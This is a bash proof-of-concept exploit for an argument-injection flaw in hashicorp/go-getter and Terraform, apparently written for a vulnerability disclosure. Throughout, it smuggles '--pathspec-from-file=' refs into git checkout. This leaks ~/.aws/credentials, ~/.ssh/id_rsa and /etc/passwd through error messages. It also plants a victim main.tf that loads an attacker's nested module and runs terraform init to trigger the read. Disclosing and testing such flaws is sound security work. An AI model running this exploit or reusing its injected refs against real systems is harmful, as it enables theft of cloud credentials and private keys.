#!/bin/bash # CVE-2026-4660: arbitrary file read via git checkout --pathspec-from-file # hashicorp/go-getter # affected: go-getter v1.8.2-v1.8.5, terraform v1.9.0-v1.14.8 (latest stable) # fixed: go-getter v1.8.6 # # checkout() in get_git.go is called from two paths in the go-getter library: # # clone() (line 226): defers os.RemoveAll(dst) -- dir deleted on failure # update() (line 284): no such defer -- dir survives failure # # get_git.go:Get() routes to update() when os.Stat(dst) succeeds (dir exists), # and to clone() when it does not. # # terraform: initwd/module_install.go:251 calls os.RemoveAll(instPath) before # invoking go-getter for any module that needs installation. Terraform therefore # always triggers clone(). Phase 1 demonstrates this path via terraform init. # # Packer, Nomad, and any other go-getter caller that reuses an existing # destination directory will trigger update() instead. Phase 2 directly # exercises update()'s git sequence -- fetch + checkout -- to show the same # checkout() vulnerability fires and that the directory survives the failure # (no RemoveAll defer in update()). set -u tmpdir= cleanup() { [ -n "$tmpdir" ] && rm -rf "$tmpdir"; } trap cleanup EXIT echo "[*] target files:" echo "" echo " ~/.aws/credentials:" sed 's/^/ /' ~/.aws/credentials echo "" echo " ~/.ssh/id_rsa:" sed 's/^/ /' ~/.ssh/id_rsa echo "" echo " /etc/passwd (first 3 lines):" head -3 /etc/passwd | sed 's/^/ /' echo " ..." echo "" terraform version | head -1 echo "" # go-getter calls: git checkout # no -- separator, so a ref starting with -- is parsed as a git option # --pathspec-from-file= reads the file line by line as pathspecs, # fails each one, and emits the line content in the error output echo "[*] mechanism (raw git, unmangled by terraform error renderer):" echo "" tmpdir=$(mktemp -d) git clone -q http://gitserver/terraform-aws-vpc-internal.git "$tmpdir" echo " ~/.aws/credentials:" git -C "$tmpdir" checkout "--pathspec-from-file=/home/runner/.aws/credentials" 2>&1 | sed 's/^/ /' || true echo "" echo " ~/.ssh/id_rsa:" git -C "$tmpdir" checkout "--pathspec-from-file=/home/runner/.ssh/id_rsa" 2>&1 | sed 's/^/ /' || true echo "" echo " /etc/passwd:" git -C "$tmpdir" checkout "--pathspec-from-file=/etc/passwd" 2>&1 | sed 's/^/ /' || true rm -rf "$tmpdir"; tmpdir= echo "" # attacker's outer module is a legitimate-looking terraform module # victim never inspects its source; the malicious refs are in nested submodule calls tmpdir=$(mktemp -d) git clone -q http://gitserver/terraform-aws-vpc.git "$tmpdir" echo "[*] attacker module (terraform-aws-vpc/main.tf -- victim never reads this):" sed 's/^/ /' "$tmpdir/main.tf" rm -rf "$tmpdir"; tmpdir= echo "" cat > ~/project/main.tf <<'EOF' module "vpc" { source = "git::http://gitserver/terraform-aws-vpc.git" } EOF echo "[*] victim's main.tf:" sed 's/^/ /' ~/project/main.tf echo "" # --- phase 1: clone() path (get_git.go:226) ---------------------------------- # terraform's module installer removes the destination directory before calling # go-getter (initwd/module_install.go:251), so Get() always sees a missing dst # and routes to clone(). clone() defers os.RemoveAll(dst) on error -- dirs # are gone after the failed checkout. echo "=== phase 1: clone() path -- triggered via terraform init ===" echo "" echo "[*] terraform init (no cached modules):" echo "" cd ~/project terraform init -no-color 2>&1 | tee /tmp/phase1.txt || true echo "" MODULES_DIR=~/project/.terraform/modules echo "[*] phase 1 sentinel -- inner module dirs after clone() failure:" all_absent=true for key in vpc.creds vpc.key vpc.passwd; do d="$MODULES_DIR/$key" if [ -d "$d" ]; then echo " unexpected: $d exists" all_absent=false else echo " absent: $d (clone() deferred RemoveAll on failure)" fi done $all_absent && echo " all three dirs deleted -- clone() behavior confirmed" echo "" if grep -q "error: pathspec '" /tmp/phase1.txt; then echo "[+] phase 1 confirmed: file contents leaked via clone() path" echo "" echo " leaked lines (terraform-wrapped at 80 chars; long values truncated -- raw section above has full content):" grep "error: pathspec '" /tmp/phase1.txt | \ sed "s/.*error: pathspec '//;s/' did not match.*//;s/'[[:space:]].*$//" | \ grep -v "^$" | sed 's/^/ /' else echo "[-] phase 1: pathspec errors not found" cat /tmp/phase1.txt exit 1 fi echo "" # --- phase 2: update() path (get_git.go:284) --------------------------------- # go-getter's Get() routes to update() when os.Stat(dst) succeeds (dir exists). # terraform never takes this path (it removes dst before calling go-getter). # Packer, Nomad, and direct go-getter callers that reuse existing directories do. # update() runs: git fetch origin, then checkout(). No RemoveAll defer -- # the directory survives the failed checkout, unlike clone(). # # This phase directly exercises update()'s git sequence to show that the same # checkout() vulnerability fires and that dst is preserved on failure. echo "=== phase 2: update() path -- direct go-getter API simulation ===" echo "" echo "[*] setup: pre-existing module directory (simulates prior successful install)" echo "" tmpdir=$(mktemp -d) git clone -q http://gitserver/terraform-aws-vpc-internal.git "$tmpdir" echo " dst exists: $tmpdir" echo " go-getter Get() routes to update() on os.Stat(dst) success" echo "" echo "[*] update() step 1 -- git fetch origin (no ref arg for non-hash refs):" git -C "$tmpdir" fetch origin 2>&1 | sed 's/^/ /' || true echo "" echo "[*] update() step 2 -- checkout() (get_git.go:284, same call as clone() path):" echo "" echo " ~/.aws/credentials:" git -C "$tmpdir" checkout "--pathspec-from-file=/home/runner/.aws/credentials" 2>&1 | tee /tmp/phase2_creds.txt | sed 's/^/ /' || true echo "" echo " ~/.ssh/id_rsa:" git -C "$tmpdir" checkout "--pathspec-from-file=/home/runner/.ssh/id_rsa" 2>&1 | tee /tmp/phase2_key.txt | sed 's/^/ /' || true echo "" echo " /etc/passwd:" git -C "$tmpdir" checkout "--pathspec-from-file=/etc/passwd" 2>&1 | tee /tmp/phase2_passwd.txt | sed 's/^/ /' || true echo "" echo "[*] phase 2 sentinel -- dst after update() failure:" if [ -d "$tmpdir/.git" ]; then echo " present: $tmpdir (update() has no RemoveAll defer)" echo " clone() would have deleted this directory" else echo " unexpected: $tmpdir absent" fi rm -rf "$tmpdir"; tmpdir= echo "" if grep -q "error: pathspec '" /tmp/phase2_creds.txt && \ grep -q "error: pathspec '" /tmp/phase2_key.txt && \ grep -q "error: pathspec '" /tmp/phase2_passwd.txt; then echo "[+] phase 2 confirmed: checkout() vulnerable in update() path" echo " same leak, dst preserved -- callers: Packer, Nomad, direct go-getter API" else echo "[-] phase 2: pathspec errors not found" exit 1 fi